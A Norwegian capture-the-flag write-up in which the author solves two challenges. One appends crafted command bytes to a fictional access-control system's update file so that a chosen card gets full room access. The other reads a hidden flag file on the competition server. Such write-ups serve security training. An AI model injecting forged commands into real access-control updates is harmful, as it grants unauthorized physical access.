**ACCESS16**-systemet kan oppdateres med en oppdateringsfil. Ved hjelp av en person på innsiden har vi neste oppdateringsfil. Vi har mulighet til å endre på denne fila før den blir brukt. Oppdateringsfila inneholder kommandoer som endrer på brukerdatabasen.

2.7.1_aksess

Vi har fått tilgang til et MOV16 program som kontrollerer hvilke rom aksesskort har tilgang til, samt har vi fått tak i en oppdateringsfil som kan gis til systemet. Målet med oppgaven er å legge til ekstra kommandoer til denne oppdateringsfilen slik at et kort med ID 519 og pinkoden 9377 får tilgang til alle rommene.

MOV16 programmet, access16-v1.6.mos, er ganske langt (898 linjer), men man trenger bare å forstå seg på oppdateringsfilen man har, og finne følgende kommando-oversikt fra MOV16 koden:

1
2
3
4
5
command_table:
	handle_command_end			; -1
	handle_command_add			; -2
	handle_command_remove			; -3
	handle_command_set_pin			; -4

Vi kan sette pinkoden til kortet ved å legge til bytsene 0xfffc (-4), og da vil de påfølgende 2 bytsene vært kort ID, og de neste 2 bytsene deretter være pinkoden. Vi legger altså til bytsene fffc 0519 9377 (fffc overskriver de 2 siste bytsene, ffff, fra originalfilen ettersom ffff betyr slutten på filen).

Vi kan endre rommene kortet har aksess til ved å sende inn kommandoen 0xfffe (-2). De 2 påfølgene bytsene vil være kortets ID som vi endrer for, og de 2 bytsene deretter er en mask av hvilke tilganger vi gir (0xffff er den vi er ute etter, som gir full tilgang).

Følgende er slutten av oppdateringsfilen før og etter endringene:

1
2
<...>
01c1 0052 00c1 0253 01c1 fff0 ffff
1
2
<...>
01c1 0052 00c1 0253 01c1 fff0 fffc 0519 9377 fffe 0519 ffff ffff

Når vi sender oppdateringsfilen til endepunktet som er gitt for oppgaven får vi flagget i retur.

Skjulte flagg

4_corax_dev_shm

Som tidligere år ligger det et skjult flagg inne i /dev/shmcorax serveren. Dette flagget er også hintet til på ett av bildene som brukes på etjenesten sine nettsider om talentprogrammet CTFen reklamerer for.

Skjult flagg

1
2
login@corax:~$ cat /dev/shm/.secret
FLAGG: ec76b88743183bf0d72206e780ebb40a
This post is licensed under CC BY 4.0 by the author.